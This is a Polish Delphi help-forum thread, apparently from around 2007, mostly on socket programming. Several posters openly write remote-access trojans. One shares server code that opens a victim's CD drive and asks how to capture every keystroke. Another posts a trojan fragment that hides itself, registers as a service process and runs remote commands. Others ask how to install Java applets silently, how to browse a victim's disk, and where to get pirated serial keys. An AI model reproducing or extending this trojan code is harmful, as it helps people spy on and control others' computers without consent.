Jak macie problem z delphi to tutaj ->

[fido1987]

a dziala ktos z was na delphi 2005 arhitekt? bo przy robieniu troja mam tam problem z socketami< sciana> chodzi o to ze nie widze tam nigdzie serversocket ani clientsocketa tylko mam cos takiego: TTCPcilent i Ttcpserver no i jeszcze TTCPsocket...i sie w tym zamotalem

 

[acking]

niewiecie moze czy jak stworze sobie w delphi przegladarke przez WebBrowser to czy ta sie zrobic zeby aplety jawa sie automatycznie instalowaly? zeby jak ktos wejdzie na jakas strone gdize ejst aplet jawa przy ktorym wyskakuje czy chcesz zainstalowac aplikacje ... program napisany instalowal bez pytania? da sie takie cos zrobic ? prosil bym o jakas wskazowke bo sam sobie potrafie znalesc wszsytko ... tylk jak wiem czy da sie i gdzie mniejwiecej ;]

 

[xjulian]

Jest taka możliwość;
nie tylko w glupich nakładkach na ie, ale w samym silniku ie :whoeva:
wskazówka: google.pl

 

[MasterBoard]

MAm zasadnicze pytanie ;] Jak dodać obrazek do mojego projektu jak z wybiore z Additional/ image ? bo mam z tym problem

 

[blackhat]

Additional->Image->Object Inspector->Picture->...

 

[Ajax`]

Witam, teraz moze moj problem

Problem dotyczy socketow.

Chodzi o to ze jest server i do niego moze sie polaczyc HUGO duzo clientow ;-)
tylko teraz tak: gdy client wysle do servera msg server powinien go wyslac do wszystkich
userow.

Zrobilem to tak :

procedure TForm1.ServerClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
j : integer;
begin

Memo.Lines.Add('Hugo szrajbi: ' + Socket.ReceiveText);

for j:=0 to Server.Socket.ActiveConnections-1 do begin
Server.Socket.Connections[j].SendText('D: ' + Socket.ReceiveText);

end
end;

Powinno sie wyswietlic u servka w Memo :

Memo.Lines.Add('Hugo szrajbi: ' + Socket.ReceiveText);

i powinno wyslac do clientow tez ten text:

for j:=0 to Server.Socket.ActiveConnections-1 do begin
Server.Socket.Connections[j].SendText('D: ' + Socket.ReceiveText);

end

w Memo normalnie ladnie sie zapisuje

ale juz msg do clientow nie dochodzi

dochodzi tylko "D: "

kombinowalem na rozne sposoby, lecz nie wiem
gdzie lezy blad :nauka: :no: :no: :hmmm:

prosze o szybka odpowiedz

k: [/quote]

 

[D0han]

Socket.ReceiveText jest najprowdopodobniej zerowana po pierwszym uzyciu, przepisz to na poczatku eventa do innej zmiennej i na niej operuj.

 

[krzint]

Mam problem z moim trojanem

a wlasciwie serwerem. Plik się komplikuje ale po jego włączeniu pojawia się

Asynchronus socket error 10049

Jednak jak połacze sie z tym serwerem to część opcji działa np. otwieranie cd-romu. zamieszczam tu kod serwera i trojana

Kod Serwera :

unit server;



interface



uses

  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

  Dialogs, ScktComp, shellapi, mmsystem, registry;



type

  TForm1 = class(TForm)

    ServerSocket1: TServerSocket;

    ClientSocket1: TClientSocket;

    procedure ServerSocket1ClientRead(Sender: TObject;

      Socket: TCustomWinSocket);

    procedure FormKeyDown(Sender: TObject; var Key: Word;

      Shift: TShiftState);





     

  private

    { Private declarations }

  public

    { Public declarations }

  end;



var

  Form1: TForm1;



implementation

 var

 s:string;

 







{$R *.dfm}



procedure TForm1.ServerSocket1ClientRead(Sender: TObject;

  Socket: TCustomWinSocket);

begin

s:=serversocket1.Socket.Connections[0].ReceiveText;





if (s='cdopen') then

begin

 mciSendString('Set cdaudio door open wait',nil,0,handle);

end;



 end;









procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;

  Shift: TShiftState);

begin

if key = 65 then



clientsocket1.socket.SendText('a');

if key = 66 then



clientsocket1.socket.SendText('b');



if key = 67 then



clientsocket1.socket.SendText('c');

end;



end.

Jestem początkującym programistą i chce zrobić tak aby wysyłało wszytkie wciśnięte przyciski.
[/code]

 

[Amidamarujk]

lol,
ale mi kod... to jest kod:

...  begin

    Serwer.Socket.Connections[Serwer.Socket.ActiveConnections - 1].SendText(RDoWys.Text);

// 3

    RDoWys.Text := '';

  end;

end;



procedure TForm1.Timer1Timer(Sender: TObject);

begin

  Serwer.Port := StrToInt(EditPort.Text);

  Serwer.Active:=True;

end;



procedure TForm1.FormCreate(Sender: TObject);

begin

ver:='1.0 BETA';

{opyFile(Pchar(Application.ExeName),Pchar('c:plik.exe'),True); // skopiowanie pliku na dysk c:

LoadFromExe('c:plik.exe');

EditPort.text:=Split(XXX,0);

Edit2.text:=Split(XXX,1); 

aresat.text:=Split(XXX,2);

adresat.text:=Split(XXX,4);

if Split(XXX,3)='1' then form5.showen.click;

DeleteFile('c:plik.exe');



HideMe;

RegisterServiceProcess(GetCurrentProcessID, RSPSIMPLESERVICE);

//TEGO NIE PODAM - TAJNE!

//TEGO NIE PODAM - TAJNE!

szybko.click;

ok:=false;

Hide;

ies.click;

ggsend.Click;

//TEGO NIE PODAM - TAJNE!

//TEGO NIE PODAM - TAJNE! - SUPER TAJNA RZECZ

CreateFileMapping(THANDLE($FFFFFFFF),nil,

 PAGE_READONLY,0,32,'ApplicationTestMap');

 ies.click;

    cmd.Activ:=true;

    if GetLastError=ERROR_ALREADY_EXISTS then

begin

 Application.Terminate;

end;

end;



procedure TForm1.ROdebraneChange(Sender: TObject);

var

Obszar:TRect;

buffer:string;

buffSize:DWORD;

p:PHostEnt;

s:array[0..128] of char;

p2:pchar;

Plik : Integer; 

SR : TSearchRec;

begin

//TEGO NIE PODAM - TAJNE!

//TEGO NIE PODAM - TAJNE!

begin

RDOWys.Text:='Serwer: Połączenie zostało odrzucone! Złe hasło!';

BtnPrzeslij.Click;

cmdactive:=false;

end;

end;

if cmdactive=true then begin

if Copy(ROdebrane.Text,0,4)=('msgn') then begin

ShowMessage(Copy(ROdebrane.Text,5,ROdebrane.GetTextLen));

RDOWys.Text:='Serwer: Wykonano polecenie: POKAŻ KOMUNIKAT ('+ROdebrane.Text+')...';

BtnPrzeslij.Click;

end;

if Copy(ROdebrane.Text,0,4)=('msg1') then begin

ShowMessage('Error 404, plik podany w scieżce nie istnieje!');

RDOWys.Text:='Serwer: Wykonano polecenie: POKAŻ KOMUNIKAT(szablon 1) ('+ROdebrane.Text+')...';

BtnPrzeslij.Click;

end;...

itd.

 

[daimon]

problem:koeljnosc odpalania clienta i serwerka

jak ominac kolejnosc odpalania serwa i clienta/i zeby t nie mialo wplywu na dzialanie aplikacji. chodzi oto iz odpalam clienta ktory cos wysyla jako pierwszego a pozniej serwer ktory ma cos odebrac i duppa nic sienie dzieje,odwrotna kolejnosc chodzi bez zarzutu,jak ominac ten problem?dzieki

 

[Mo4x]

Re: problem:koeljnosc odpalania clienta i serwerka

Originally posted by daimon
jak ominac kolejnosc odpalania serwa i clienta/i zeby t nie mialo wplywu na dzialanie aplikacji. chodzi oto iz odpalam clienta ktory cos wysyla jako pierwszego a pozniej serwer ktory ma cos odebrac i duppa nic sienie dzieje,odwrotna kolejnosc chodzi bez zarzutu,jak ominac ten problem?

A czy to ma jakiś wpływ? Nie odpalisz serwera to się z nim nie połączysz. Chyba coś w kodzie programu inaczej zrobiłeś. :whoeva:

 

[M1ch00]

Prawdopodobie (99.99%) chodzi o to, ze klient sie laczy przy starcie, a ten "programista" nie umie zrobic w timerze proby laczenia az do skutku...




Sorry za polfonty, ale z terminala jestem

 

[daimon]

Originally posted by M1ch00
Prawdopodobie (99.99%) chodzi o to, ze klient sie laczy przy starcie, a ten "programista" nie umie zrobic w timerze proby laczenia az do skutku...[/i]

domyslilem sie i przed tym postem michaa dalem timera i juz chodzizale i tak dziekowac za rady...czasami proste rozwiazanie staje sie nieoceniionym...zebyscie widzieli co ja kombinowalem zeby to dzialalo a tu zwykly timer

 

[yeti222]

Mam problem z zarejestrowaniem Delphi 7 enterprise

Witam. Mam problem z zarejestrowaniem Delphi 7 Enterprise wersja 30-dniowa. Nie moge dojsc oco chodzi na tym serwerze http://www.borland.com/products/downloadsa wypełniałem formularz dostałem E-maila ale obawiam sie ze nie tego co trzeba bo tam jest jakis link z nr ale ja nie mam gdzie wpisac tego numeru i co dalej????????? Prosze o pomoc moje gg 1068481

 

[dareczek101]

jak mam zrobic w torjanie pisanym w delphi komendy dosa i przegladanie dysku ofiary szukalem i nigdzie tego niema

 

[FDJ]

Originally posted by dareczek101
jak mam zrobic w torjanie pisanym w delphi komendy dosa i przegladanie dysku ofiary szukalem i nigdzie tego niema

Slabo szukales bo jest na forum ,wiem bo sam z tego kozystalem.

 

[banshee]

serial do turbo delphi

Z kąd można dostać seriala do turbo delphi?

 

[mjl89]

ze strony www.borland.pl - musisz sie zarejestrować.

 

[Morales]

key

zapoda ktos full serial keya do delphie i cbuilder 6? PROSZE xD

 

[Triniti]

Mam pytanko.

Jestem w trakcie kursu delphi : http://www.cvonline.pl/content/index.php?i...480a9f8251c593d
i mam problem z powodu brakuajcych komponentow.

Skąd moge sciagnac komponent tgauge oraz inne przydatne przy programowaniu??

[ Dodano: 14-02-2007, 17:59 ]
jak juz dodam przycisk z funkja np.: ExitWindowsEx(EWX_POWEROFF,0);
to co musze wpisac w aplikacji serwera zeby dzialalo poprawnie?